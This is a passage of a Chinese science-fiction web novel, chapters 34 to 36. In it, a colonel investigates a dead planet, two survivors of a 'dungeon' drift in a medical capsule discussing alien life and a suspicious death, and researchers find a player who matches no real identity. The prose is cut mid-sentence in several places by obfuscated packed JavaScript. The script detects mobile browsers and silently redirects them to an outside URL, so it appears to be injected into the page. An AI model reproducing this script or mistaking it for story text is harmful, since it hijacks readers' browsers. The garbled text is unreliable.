[楼上的关注点都在什么地方？！飞船出事整整三天了，救援队伍还没派出去，就算是副本给他们这些幸存者大脑续命了，他们的躯体也撑不住啊！当务之急应该是万人血书让联邦政府救人！难道你们想看那么多乘客和绿松石星上的技术工人们一样惨死外星无人知晓吗？] [对！我们不仅应该督促救援的开展，还要督促联邦政府彻查绿松石星！那巨型大脑不还说有什么地下城吗？我们要知道真相！] [彻查绿松石星！我们要一个真相！] [彻查绿松石星！我们要一个真相！] [彻查绿松石星！我们要一个真相！] ………… 直播间被一排排整齐划一的口号刷屏了。 现在副本已经结束了，所有关于副本的直播间都已经黑屏，但是弹幕却久久未能停息。 漆黑的页面背景上，一模一样的文字无穷无尽地刷新和叠加，仿佛是一支规模空前的宇宙舰队，朝着未知的边界一格一格行进。 * “上校！我们发现了这个！”一位队员忽然神色慌张地从一栋金属建筑里走出来。 “什么发现？”露西亚闻言朝那里走去。她刚刚正在反复调试光脑的通信频道，试图和总部取得联系，可是一切尝试似乎都是徒然。 “这里……有死人。”队员神情严肃。 露西亚推看那扇门。那似乎是一个工作站，里面落了厚厚一层挥，但是依旧能从轮廓辨别出大厅里的工作桌和上面的图纸。 座位上有一具套着工作服的骷髅骨架，旁边落了一地的长方形牌子，似乎是他临死前攥在手里的。然后他死了，他的肌肉松弛、失去握持力量，于是那些牌子掉到了地上。 究竟是什么如此珍视的东西，让他即便是生命走向尽头也念念不忘？ “上校！”几位队员惊呼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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露西亚接过留影设备，退出了这间工作室。 飞行器上损坏零件的更换和维修工作已经完成，他们现在已经完全能够返程了。 露西亚回头看了眼这颗荒凉而悲怆的星球，然后踏入了驾驶舱。舱门在她眼前合拢，她摁下了启动键。 然后一切的合金地面和航站楼都在她面前越来越小，云雾遮挡了视野，直至他们升入太空，那颗星球重新披上绿色的外套朝他们微笑。 当队伍驶离金天鹅座的危险区域时，露西亚将飞船调到了自动驾驶模式。 她打开光脑，恢复信号连接后上面最先跳出的是她启程前最后浏览的东西。 在出发前的那一小段时间里，出于好奇，露西亚在光脑上搜索了一下江显的个人资料。 她只是一时兴起想要了解一下，让地球那群老家伙们那么看重的人，到底有什么独到之处。 她首先搜到的是信息库里的基本资料。 星际公民证上是一张面容清秀的年轻女性照片，漆黑的长发披散，皮肤略显苍白，嘴唇也血色偏淡，整张脸素净又波澜不惊，最为浓重的色彩是两个深邃的黑眼圈。 感觉和直接打印成黑白照片也没太大区别。 再下面是文字： 姓名：江显 性别：女 年龄：26 居住地：地球 后来由于时间紧迫，她没能再了解更多。 露西亚没能在绿松石星上找到江显，也没能找到任何一个玩家。这让她感到有些挫败。 现在她放任飞船系统自动驾驶，解放了的双手去查找更多关于她的资料。 露西亚简单看了下江显的生平简介，这才惊讶地发现原来她的父母都是出色的天文学家，却在她6岁时的一次飞船事故中不幸双双离世。 或许这就是她没有去学习天文学，而是扭头学了一个毫不相干专业的原因吧。露西亚这么猜想。同样是从简介上，她了解到江显在16岁时拒绝了首都大学天文系校友会发来的邀请。 对于这个未曾谋面的女人，她感到了几分同情和惋惜。 在这种心情的驱使下，她又上星网查找了当年那场事故的报道。由于时间相隔太远，现在留存的报道已然寥寥无几。 然后她草草扫了遍那硕果仅存的几张图片，其中一张瞬间吸引了她的注意力。 那是坠毁飞船的残骸取证，边缘被熏得漆黑，封装在标有编号的透明袋子里。 在残骸边缘，露西亚敏锐地辨别出了飞船的型号。 露西亚从小对航天和飞行以及各种飞行器爱不释手，对各种飞船的型号和特色倒背如流。 那种型号代表的是一种小型自动驾驶飞船，最大荷载为4人。在当时以其便捷性灵活性和安全性著称，常常作为私人飞船在宇宙里航行。 但是……这种飞船正常来说是配有4个逃生胶囊的。 在意识到这些后再去看那一则老旧的报道，【他们把唯一的逃生机会留给孩子】这句话似乎正虚伪又嘲弄地在朝她狞笑。 露西亚猛然意识到，那次飞船坠落，并不是一场纯粹的意外。 34. 航行 江显一睁眼，就见一片柔和的灯光。 眼前似乎有一些模糊的深蓝色影像在晃动，江显猜测那或许是飞船的座位靠背。 她这是又回到飞船上了？！ 难道说她先前经历的一切都只是幻觉，是飞船故障是他们昏迷的一场梦。现在飞船恢复正常了，她可以启程继续前往目的地了？ “你醒了。” 视力还有些模糊，江显看不清影像，但她能从声音里辨别出他的身份。 陆寰？ 陆寰的出现让江显对现状重新进行了评估。 当初陆寰并不和她在同一班飞船上，如今他却坐在自己身旁，这只能说明他们乘坐的飞船发生了变更。 难道说星际联邦在得到飞船失事的消息后展开了搜救，现在他们正乘坐着同一艘飞船返回故乡？ 江显揉了揉好容易才适应光线的眼睛，视野变得清晰起来。 首先映入眼帘的是一只白皙修长的手，骨节分明、掌纹清晰。陆寰伸出爪子在她眼前晃来晃去，感觉是在测试她的对光反射。 江显觉得他这爪子实在是烦人，下意识地伸了手，再回过神来时她已经抓着人家手腕了。 江显讪讪地松了手。陆寰的手被她这一抓，从掌面翻到了手背面。手背上安静地走着青筋，关节伶俐流畅像是群峰。 这实在是一双极为标志的手，标志到能够收进书本里的那种。江显不知怎得就联想到了影像诊断学书上那张“人类历史上第一张X光照片”。 据说那是千年之前伦琴给他妻子拍的X片，手上还有着枚金属的戒指，α射线穿透手掌把那戒指的影像也一并留下了，学术界自此留下一段佳话。 当时她看到那张照片时想说什么来着，江显努力回想着。 “真像是一具标本。”江显一不小心脱口而出。 “什么？”陆寰凑过来不解地看她。 江显抿抿嘴：“没什么。应激状态了。” 但她刚刚其实想的是，当年16岁的自己看着课本上那一张张无聊的插图开始开小差，于是趴在桌子上写下这样一段话：爱人的手掌化为标本，封印在黑白的胶片上。 那时她还正值情窦初开和向往浪漫的年纪，下意识把一切都镀上了幻想的色彩。几年后她关心的问题很快就转变成了：人类历史上第一次X射线成像会不会超过了辐射安全剂量；进行这样的人体试验之前有经过动物试验验证吗；这样的试验符合医学伦理道德吗………… 陆寰见她戛然而止，便没再追究。 他先前这么一打岔，江显差点忘记了本来的打算——确认自己方位。现在她环视四周，发现他们现在正置身于一个很小的密闭舱内，整个机舱里就两张位子，显然不是什么民航飞船。 “这是……医疗飞船吗？”江显困惑不已，“它的目的地又是哪儿？” 星际时代的医疗飞船和一千多年前的救护车很像，都是用于快速抢救医治伤员的。这些无人驾驶的飞行器在接到伤患后会自动导航前往最近的空间站而非返回某个星球。因为大多数时候伤患们都耐受不了降落时的剧烈震动。 “不知道，我没有权限看自动驾驶的目的地。”陆寰答道。 对于自身处境的未知让江显有些烦躁，她不喜欢这种失去掌控的感觉。 “所以副本结束后发生了什么？” 陆寰回答：“我也不清楚，你当时解决掉向导和树木的融合体后，系统提示了【副本通关成功】。后来副本里的一切都崩塌消失了，在那之后我就失去了意识。直到几分钟前才醒来。” 江显打开自己的光脑，上面依旧显眼地亮着“无信号”标记。星际定位无法使用，她自然无法确定到底身处何处。 江显决定等落地后见招拆招。既然现在毫无头绪，身处宇宙里也无法改变什么，那不如好好地享受这趟旅程。 这么想着，她整个人往座椅靠背后面仰了仰，调整到一个舒适的姿势。 俩个人的座位挨在一块，陆寰就坐在她旁边。她偏过头，好巧不巧近距离把他的侧颜尽收入眼底。 他的睫毛密而长，垂眸时把灯光筛下一条一条的细纹。棕褐色的瞳孔厚重深沉得像是土壤，但是当窗外的光线流转过来时，光芒像是射入水里一样将他的眼睛穿透，激起细细碎碎的鳞光。 江显静静地欣赏着这副美景。 这样带着审视的打量很难不被人觉察到。 陆寰旋即无辜地看向她：“在想什么？” 江显整个人从靠背上挺起来，顺着他给的台阶就下：“在看窗外的宇宙。” “我记得你在副本里说过，因为某些原因，你并不喜欢直面深邃的星空。” “骗你的。”江显说，“眺望深空可是我最喜欢的事情之一。” “所以，你果然不是因为什么逃避阴影才去学的影像学。”陆寰又露出了他那招牌的无害笑容。 真是什么都逃不过他的眼睛。江显心里不爽。 “显然不是。”这一次她真的把目光投向透明窗外，在那里星体安静地相互绕行，循规蹈矩地行走在自己的轨道里，整个星系像是首井然有序的静默协奏曲。 “你曾说过，如果用我的专业来形容你所做之事，就宛如是追寻一颗未曾发现的神秘小行星。”陆寰笑道，“那么当你看向那漆黑的影像底片时，那颗星星上藏着什么真相？” “或许是一段神秘的电磁信号？”江显说，“小时候我父母就是为了去见一见那段信号的发源地，才带着我走上那趟旅程的。” 陆寰看起来有些惊讶：“一段神秘的信号？他们是相信有人类之外的文明存在吗？” 江显没有直接回答他：“你还记得上一个副本时我和你说过，我以‘汉斯’的身份去见向导吗？当时向导问了我一个问题。他说，‘如何证明你所有相识和交流的个体不是你脑中的幻觉’。” “我没有被他的理论所蛊惑。我甚至不觉得这是一个需要质疑的命题。” “我只是想，如果这世界上只有他一个人，沉迷在幻觉里的话，那也太孤单了吧。” “就像海里怎么可能只有一条鱼，星空上怎么可能只有一颗星星？地球只不过是银河系旋臂上的一颗行星，直至目前人类的足迹也尚未突破银河系的周边地带。更别说银河系只是拉尼亚凯亚超星系团里的十万分之一了！这样来看，宇宙里只有人类这一族群的可能性也不太大。” 陆寰反驳：“可是星际时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14369218|149201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 代已经开启一千多年了。截至目前人类依旧没有发现任何外星人的存在。反而是人类自己不断地迁徙和移民，终于自己成为了自己的外星人。” “外星人的概念也太狭隘了。”江显纠正说，“一千多年来那么多的科幻电影和小说里都畅想着外星生命的形式——硅基生命、星球生命，甚至是电磁生命。或许我们恰好预见了他们的形态，也或许他们的生存形式已经超出了细胞生物能够想象和理解的范畴。” “尽管我们无法证实，但也同样无法证伪。那样我还是宁愿相信那只‘太空茶壶’的存在。”她笑道。 此刻窗外正好流转过一片光华，于是江显看到陆寰眼里正隐隐闪着的光。 江显不明白他为何看起来心情很好，她突然想要捉弄一下他。 “我小时候还和外星生命聊天呢！”江显说。 陆寰错愕地嘴唇微张，下意识问：“你们聊什么？” “语言、书籍、艺术、人类、宇宙。”江显说，“还有，每晚的童话故事。” “啊？？？” “开玩笑的。”江显显然被他的反应逗笑了，“我猜应该是我父母的某位朋友同事，在他们意外身亡后以一颗‘小行星’的身份和我聊天。” “那大概是我那段时间唯一用来解闷和分散注意力的东西了。对于一个孩子来说，还有什么能比‘和一颗小行星对话’更酷呢！” “那颗‘小行星’后来怎么样了？” “在我16岁进入大学以后，那些神秘讯息就没再出现过。”江显摇摇头，“或许他不想让我知道他的真实身份；也或许他已经尽了对故友的情分，完成了帮助他们遗孤摆脱噩梦、顺利长大的任务。” “原来是这样。”陆寰露出了然的神情。 不知是不是错觉，江显觉得他似乎有些失落。 “所以，你是在暗中继续令父令母当年的探索吗？”陆寰问。 江显紧抿嘴唇片刻。陆寰觉得她像是一只把自己扎紧的沉重口袋。 然后她终于松了口：“我父母的去世并非是一场意外。” 陆寰微微蹙眉：“你是说，追踪那个信号源给他们带来了杀身之祸？” “目前还没有任何明确的证据可以证明这点。” “原来你没有学天文的原因是为了麻痹对方和掩人耳目。”陆寰头脑转得飞快，一下子就把所有的因果联系到了一起，“所以，这些现有的信息都是那个神秘的同事以‘小行星’的名义发给你的吗？” “是啊。”江显说，“在我获救后第二天，我的光脑收到了一张神秘的黑白影像图片。” “那是一张X光下的手掌图片。” “我不知道那和我父母在X光下到处异常高亮的遗骸影像以及全身放射性超标有何联系。我也不懂如何影像学读图，那些鉴定人员都对我守口如瓶；他们连底片附件都没有给我留一份。” “于是，我决定自己去寻找真相。” 江显托着腮，手肘支撑在椅子旁的扶手上：“只是我这些年看了成千上万的片子，却再也没见过那种骨骼闪闪发光、像是一整个星系的画面了。” “会找到的。”陆寰说。 “我知道。”江显说。 35. 行星 医疗胶囊就这样在宇宙里游弋着，仿佛是漫无目的地踏上了一场纯粹的观光之旅。 “看远处那个小型的星系。”陆寰指指窗外。他的指端正流泻出璀璨的金光。 星系最中间是一颗光芒盛大的恒星，夺目得让他们不由眯起眼。 “那是金天鹅星。”江显说道。 “我听说，这一名字是根据人类第一次从‘美杜莎’望远镜上看到的景象而定的。那时整个星系从画面上掠过，像是一只振翅高飞的天鹅。人们相信这一意象能带来幸运。”陆寰说道，“而金天鹅星，是整个星系里最亮的一颗恒星，恰巧位于眼睛的部位。人们干脆同样如此命名它。” “你很爱讲故事。”江显撇撇嘴，“我认识的上一个这么爱讲故事的，还是那个由人类伪装的‘行星朋友’。” 于是陆寰打趣：“他都给你讲些什么故事？行星在宇宙的旅行见闻吗？” “那些千年以前的人写的童话故事。”江显说，“我最喜欢的是一个叫做《小王子》的。” “那是什么？” “那可是地球人类历史上最出名的书目之一，小学必读书目诶！”江显惊叹，“你没上小学跳级的吗？” “或许是忘了。”陆寰说。 “故事大概讲的是飞机失事的主角在沙漠里遇到了小王子，俩个人彼此作伴互相了解……中间过程不重要。反正最后，小王子为了回到他所在的b612小行星去见他的玫瑰，必须抛弃掉躯壳的重量。于是他竟然让毒蛇咬死了他。” “那听起来有些恐怖。”陆寰愣了愣神。 “确实。那个恐怖的结尾让我久久无法释怀。但‘小行星’安慰我说，躯壳的重量太过沉重，有时候为了灵魂的升华，我们必须作出取舍。他告诉我说，我的父母并没有离开我，他们只是去寻找理想和真理的玫瑰了。” “我很较真，问他是怎么知道的。然后他告诉我说，因为他就是那颗b612啊！于是6岁的我决定不和他计较，并借机套话向他打听我父母的事情。” 陆寰忍俊不禁：“然后呢？” “然后，我去星网上查了这本书，写了一篇读后感，叫做《给小王子的一封信》。我读给他听，让他转达给小王子，并请教了有没有让灵魂生长出血肉、回到故乡的方法。” “他和我说，当我长大以后，他们就会自动回来。” “太可爱了。”陆寰笑得前仰后合，“然后呢？” “然后他还给我讲《夏洛的网》，告诉我一张充满爱的网不会随着编织者的离去而消失；给我讲《海底两万里》，告诉我人类文明的前行需要冒险和探索，而我父母是其中先驱…………” “他给我讲了成千上万的故事，以至于我写了数不清的读后感；挑挑拣拣选个最好的，每年都在初级学校读后感大赛中独占鳌头。” 陆寰笑得在一旁抽搐，江显却仍在说下去：“后来，我渐渐长大了一点，也就意识到他其实是在安慰我，那些每天关于我父母的消息也只是为了哄我开心而编织的故事。” “于是有一天我对‘小行星’说，‘你不要叫b612了，叫山鲁佐德好不好？’” 陆寰有些茫然：“山鲁佐德？” “是他给我讲的一个叫做《一千零一夜》的故事里的角色。机智的少女为了防止被残暴的国王杀死，每天都讲一半故事就戛然而止，以此引起国王继续听下去的兴趣不杀她。最后全部一千零一个故事讲完了，国王也爱上了她。我只是想要借此来表达他真的给我讲了很多故事。”江显解释说，“这也是初级学校必读书目。你怎么连这么有名的世界名著也不知道，要不是你长得正常我都要以为你是外星人了。” “我哪能和听了几千篇故事的‘读后感国王’比？”陆寰笑道，“那其他部分呢？” “他给我讲人类在尚无法离开陆地之时，对于宇宙的幻想。”江显说，“小时候的我看了很多科幻电影，有关于外星生命降临地球的、有人类前往外太空和外星生命接触的、有人类移民前往其他星球和外星生命打起来的……” “那一千年过去了，曾经许多的科幻畅想都已经在技术上化为现实。”她说，“然而，我们和宇宙其他生命的相处，似乎是人类永恒的话题。” 陆寰于是问：“那么，在你看来，如果有一天这真的化为了现实，人类会作何反应呢？” “我无法预料。”江显摇摇头，她似乎在无奈地笑，“我们如何知道外星生命如何看待我们？又如何知道他们会在怎样的背景下现身？战争？求助？奴役？友好问候？” “但是，不管如何，我仍然对有一点抱有最后幻想——或许我们和外星生命就像是彼此的镜子一样。当你以怎样的映像被捕捉，就会以怎样的样子被呈现和反馈。” 陆寰问道：“人们就没有设想过，其实外星生命一直存在并默默注视着你们，只是你们不知道吗？” “那听起来也太奇怪了。”江显说，“默默地注视着人类？他们不想被人类知道存在吗？是害怕？这么看来他们的文明程度大概要低于人类？可是他们既然知道人类的存在，那又说明他们的科技水平远在人类之上？这太自相矛盾了。” “还有你，你也很奇怪。”江显说。 陆寰听着这一句，眼皮跳了下。 然后他听到江显继续说下去：“给人感觉像是不沾人间烟火，轻飘飘地浮在空中的。” * 距离露西亚从绿松石星秘密返程已经过去一整天。在这一天时间内，星际副本直播间差点要被观众们的刷屏抗议挤爆。一模一样的口号不分昼夜地滚动在已然暗淡地直播背景上，像是汹涌而来的巨浪，层层叠加。 与此同时，星网上到处都是关于副本直播的帖子，人们被所谓的“绿松石星惨案”彻底激怒，彻查的呼声一浪高过一浪。 当然，那些都不属于露西亚的管辖范畴，但她听说自己认识的一位星际网警已经快要发疯了…… 露西亚在返回地球指挥中心后立刻和现今的联邦元帅通过虚拟人像通讯作了报告。她详细地报告了在绿松石星上发现的成像单元和人类遗骸，以及那些合金的停泊港与航站楼。在影像资料经由网上发送的同时，那些证物也已经被秘密送过去。 “奋不顾身以身涉险想要救人，出发点是好的。”元帅板着脸，语气冷若寒霜，“但你考虑过后果吗，露西亚上校？如果你不幸殉职，你的职位将由谁接替？各项工作如何交接？整个地球指挥中心都会因为你的意气用事陷入瘫痪！” “你太过年轻气盛，还需要经受更多的磨砺与历练。”元帅说，“既然你如此关心这一事件，后续的调查任务就全权交给你负责了。” 露西亚有些惊讶，她原本只是希望元帅在收到她的报告后能够重视这件事，没想到他一下子直接把重任委于自己。 她按捺住激动的心情，郑重地朝元帅敬了个礼。 元帅在象征性地指责了她的自作主张后罚了她一篇千字反思，偷偷探查这件事也就轻轻揭过了。 现在露西亚关掉了光脑通讯，坐在自己的座位上望着指挥中心外的宇宙发愣。 “上校。”叶泊夹着他的数据板走进了指挥室。 他看起来憔悴了不少，短短三天时间内整张脸都消瘦得脱了像，下巴上冒了胡茬，立马显得资深不少。 露西亚有些愣怔，她不明白自己不在的这三天指挥中心都发生了什么。 难道是星网发生了大规模故障？不然没道理这一帮研究电磁波的专家们全体和被吸走了灵魂一样。 “上校！我破解了绿松石星磁场变化的规律！” 第一句话，露西亚就被惊呆了。 “叶博士为何……？”她用手势示意他在对面椅子上坐下。 “如果上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14376293|149201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 校下一次再去那颗星球探索，或者还要参与后续的营救任务，在那颗星球上时不会和指挥中心失联。”叶泊一字一句地说，“只要将光脑通讯调制到特定的频率波段，就不会被那里的磁场干扰！” 露西亚感觉自己一瞬间失了语。 “谢谢您。叶博士。”她最终用公事公办的语气夸奖道，“您真是一个极其罕见的天才。您的研究为指挥中心，乃至是人类都做出了巨大贡献。” “不，不。”叶泊显得有些局促，他语速飞快，“另外，还有一项报告要请您过目。” 他说着开启手上的数据板，发光的屏幕调准到一张有无数身份照片的界面上。 叶泊开启了虚拟投屏，这下他们能光屏上清晰地看到那些文字了。 “在您离开指挥中心前去绿松石星时我就和您说过，我们当时正在比对副本直播里玩家和那艘飞船上失踪乘客们的身份信息。”叶泊说道，“这个过程遇到了一点点困难，因为星际公民身份数据库坚持拒绝我们的访问申请，这使得我们无法获取信息。” “于是技术部负责网络的人员们只得另寻他方，他们几个伪装成星际黑客，强行破解了数据库的防火墙，取得了数据。” 露西亚脸上的神情一瞬间变得古怪：“你们非法入侵了星际公民数据库？” 天呐，她只是离开了三天，她的手下就捅出了这么大篓子。要是被抓住她就彻底完蛋了。 “不会被发现的。他们做了很多伪装，那些数据库管理人员会误以为攻击来源于绿松石星。那颗星球这俩天本就处于话题的中心，他们会自然而然地把这件事和诡异的副本直播联系到一块去，而不是来追查我们。”叶泊说，“但最重要的不是这个。” “是什么？”露西亚哭笑不得地问。她很怕接下来再来个什么重磅炸弹。 “副本玩家确实和乘客身份一一对应！” 叶泊划动着光屏，手指操作了几下，显示界面瞬间分成了俩栏。 露西亚看了一下，左边是副本里出现过的玩家，共计8591人；右边是所有飞船上的失联人员，共计8590人。 “这不还有个多出来的？”露西亚没忍住笑。她没想到这些逆天到能够破解星际公民数据库的天才们，居然会在这样意想不到的小细节上犯错。 那感觉就好像是一个首都大学的高材生，在和小学生的1+1口算比赛中落败，透着诡异的滑稽。 “不，我要说的就是这个！”叶泊神情激动地咽了口口水。 “我们比对了所有人，全都符合，除了他！” “我们以为是程序出错了，于是重新写了程序，但是结果一样；我们甚至冒着危险直接在数据库里进行搜索，依然没有搜到，人脸识别也不行；我们不信邪，甚至又查了暗网、各种通缉令，我们连死亡证明都查过了……但是没有用！我们找不到这个人！” “你知道这意味着什么吗上校？”叶泊瞪大了眼睛。 露西亚摇了摇头。 “如果数据库里有只有几个人能比对上，我们可以说，‘玩家和乘客是一批人’不成立，那只是个巧合；如果只有一半人契合，我们可以说，‘这没有统计学意义’，我们无法证明直接联系；如果只有几个人没对上，我们可以认为是我们的程序不精确，产生了偏差。” “可是如果只有一个人是特例，且无论用何种方法都无法改变这一结果，那我们只能说——” “这个人有问题！” “全星际都找不到这张脸！哪里都没有他存在过的痕迹！” “这个人——他是一个不存在的幽灵！” 露西亚倒吸一口冷气，定睛朝屏幕上看去。 人脸识别用的是一张在直播里的截图。画面里年轻男人穿着平整整洁的白衬衣，被识别方框框住的是一张戴着笑意的俊美面容。在他身旁，江显正低着头作思考状。 36. 迷雾 宇宙里不区分黑夜与白昼，江显不知道自己欣赏了多久星系后就开始犯困。大概是先前副本内高强度解谜过度用脑的缘故。 迷迷糊糊间，她不由自主地回想着副本里发生的一切。 她直到目前也仍在为巨树树洞里得知的那些真相而震撼。 究竟是谁造就了副本？ 那个自称是“以霍列斯为主导的意识集合体”大脑告诉了她绿松石星上发生过的惨案，并告诉了她那上面巨型强磁场的存在。 这一切她都暂时无从验证。 副本是死者最后的大脑电活动被强磁场捕捉后形成的东西？那也就意味着副本本身也就是一大团电磁波汇集而成的集合。这就是当时在树洞里江显询问“飞船失事”是否和副本有关的原因。 但是，如果那个星球上存在着巨型电磁场，它又受谁的调控？巨型大脑口中“地下城”的居民吗？听它的意思，绿松石星上似乎曾有人类……或者说生命居住过，文明程度还不低。莫非是他们制造了那个巨大的电磁场？ 他们到底是什么？又如何实现那样巨大电磁场的制造？ 江显想不明白。 人类大脑活动时呈现出的脑电波微乎其微，四个波段中最高的δ波在正常情况下也不会超过200uV，那样微弱的信号在现实中根本不会受到电磁干扰影响。 尽管研究已经表明强磁场，如MRI检查会对人的大脑产生短暂的影响和干扰，使人产生眩晕和恶心感，但那都是可逆的。人类还从未在实验中成功将脑电波接入外置磁场。 这样想来，倘若绿松石星地下城里真的有外星文明存在，那他的科技等级很大概率上远超人类！！ 江显觉得不寒而栗。 他们想干什么？他们制造磁场并创建副本，是要向人类宣战吗？ 可是巨型大脑告诉她，副本从某种意义上来说是在拯救他们这些奄奄一息的乘客们，（尽管他们让那些在副本中丧生的人彻底死亡了）这至少说明副本是没有直接恶意的。难道……这是外星生命在向人类展示自己的友善？ 江显摇摇头。她下意识觉得一切不会那么简单。 官方长久以来都将绿松石星划分进飞行禁区，以至于几十年时间都没人涉足周边地带，更没人实地踏上过那里、揭穿它虚假的翡翠面具。这很反常，至少意味着官方不可能对那颗星球上面的情况一无所知。 他们想要掩盖什么？ 假如说，绿松石星上存在着外星生命，联邦政府又在很久以前就发现了这些迹象并对外保密，这到底是因为什么？？？ 保护外星生命安静和谐的生活环境、避免被好奇的过路人类打扰吗？这听起来一点也不像是资本主义的联邦政府能干出来的。如果外星生命真的和联邦政府达成了某种交易，江显觉得更可能是“联邦政府沦为外星高等文明的傀儡，背叛全人类的利益，并在其操控下独裁和统治全人类。”。 江显越想越觉得这个猜测合理。毕竟外星文明那么雄厚的科技实力摆在那里，联邦政府这种欺软怕硬的存在肯定只能伏低做小。 那么这样一来，副本的出现似乎勉强能够有合理的解释了：外星文明在向人类展示自己善意的同时，又不失时机地向人类炫耀自己的文明等级与技术水平。这是一种堂而皇之的装备展示，犹如一只在向同类宣战的开屏雄孔雀。 这是一种不怒自威的威慑。 那在这之后呢？江显不由自主地顺着这一思路想下去。 既然外星文明已然“现身”，这是否是他们正式走上舞台之前的预告？是否意味着在不久的将来，绿松石星上的地外文明将不再隐藏，正式宣布他们借由联邦政府对于人类的统治？ 江显的心里沉重万分。 但她突然意识到，这一切都建立在“绿松石星上有外星文明”的基础上，如果这一假设不成立，她刚刚堆砌的推演高楼将在一瞬间轰然垮塌。 她叹了口气，将这一切都从脑子里扫出去。 现在也不是毫无希望可言，自己可是刚刚活过了诡异无比的副本，这意味着她在落地后可以继续她的寻找真相之旅。 这次一定不乘红眼航班。 江显前几天之所以乘坐红眼航班，一方面是因为价格低廉，另一方面也确实是赶时间。 前几天，还在地球星立医院工作的江显突然收到了一则光脑信息，大概是金天鹅座的一颗星球上，有一位患者因为意外事故去世了，他死前的影像学结果十分奇怪。 江显当时点开图片，发现那人全身都在底片上发亮，同时他体内的放射性含量也达到了一个离谱的高度。 江显得知消息后立刻订了前往那里的最近一班航班。直觉告诉她这个人遭遇了和她父母相似的事情。 而当年，正是这样的神秘经历，导致她的父母招来了杀身之祸。 父母当年到底带她去了哪里？他们把她单独锁在飞船里之后又出去干了什么？为什么他们回来后脸色难看，神情慌张？ 这些年来，江显一直在寻找着父母那场意外的线索。 江显知道父母的死绝不可能是天灾，而是人祸。 四逃生胶囊配置的私人飞船为何会有三个胶囊无故消失？谁挪走了他们？ 现今无论是公用还是私人飞船的起飞都需要停泊港的许可，然后经安全技术员检查。当年父母带着她前去寻找那段电磁波的信号源，是从“瞭望者”星际舰上起飞的，也唯有那里的工作人员有可能在这方面动了手脚。 事发时江显年纪尚小，尽管她再如何强调这一事件中的离奇之处，也无人会在意一个孩童的话语。 因为年幼，她无法返回星际舰的停泊港对相关人员进行指认；因为年幼，她无法从尸检的医生那里得到报告备份，关于那张异常的影像图也只是稍有印象；因为年幼，一切都被当做一场“飞船事故”草草结案。 在那之后，江显被亲戚接回地球抚养。作为一个寄人篱下的孩子，她过于孤僻和古怪，这导致她从小到大都是形影单只的。 江显一直以为自己不会告诉任何人，她有一个“行星”朋友。那是她从小到大唯一的朋友，他们一起讨论世界，一起天马行空地畅想和学习。 但是她却告诉了陆寰，连同那些内心深处她不愿提及的伤心往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14385072|149201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事。 就连江显自己也无法解释这到底是出于何种心理。 她知道心理学上有一个概念叫做“吊桥效应”，意思大概是，“一起经历过危险的人会对彼此产生一种依赖”。这在生理学上并非毫无根据。刺激紧张的环境促进人体肾上腺素疯狂分泌，大脑中各种激素也在调控下开始大量分泌。于是这可能会让人产生一种类似于“爱情”的感觉。 “爱情”？？？ 江显对这俩字抱有一种嗤之以鼻和蔑视。充满仇恨、不找到真相誓不罢休的人生不需要这样多余的东西。 江显怀疑一切。她怀疑停泊港安全人员、怀疑那些尸检医生、怀疑结案的执法者；她怀疑父母当年前去的星球，也怀疑过这场谋杀是否自那段未知的电磁波出现就已开始。 甚至当年那颗主动朝她发送信息的“小行星”，她也曾怀疑过是杀人犯想要借此试探，或是自恋地欣赏一下自己的“杰作”。 只不过…… 只不过后来，江显打消了怀疑。一个谋杀者不会良心发作地给孩子讲故事并进行安慰——至少她这么执着地认为。 其实也没有任何证据能够证明这一点，似乎完全是出于一种她自己也无法解释的原因——就好像她无法解释自己为什么要告诉陆寰这些往事一样。 大概是因为这人太有亲和力了吧。江显心想。就好像他在副本里的技能也是卸下别人的戒备心一样。 江显想着想着，迷迷糊糊睡着了。 不知过了多久，整个胶囊内亮了起来，她被突如其来的光线变化所惊醒。 “飞行胶囊正在接驳，请耐心等待。在舱门自动开启前请勿擅自解开安全带、随意走动。” 胶囊里电子提示音响起。 “到哪儿了？”江显问道。 陆寰摇摇头，显然他也不知道。 “好吧。不管怎么说，胶囊会接驳上飞船，飞船总归会在星球上降落。落地后用光脑总能联系上人。”江显对此倒是挺乐观。 他们不会永无归程地在星际里流浪，总会在一颗小行星上踏足。 于是俩人耐心等待着，目睹着密封舱上的机械锁在“咔哒咔哒”声里一道接一道地接连解开，直到在一阵白雾后舱门自动升起。 江显起身走到门口，门外延伸出一条白光照耀的走廊，两旁都是有序排列的乘客座位。 这艘接驳的大型飞行器，又将前往何处？ 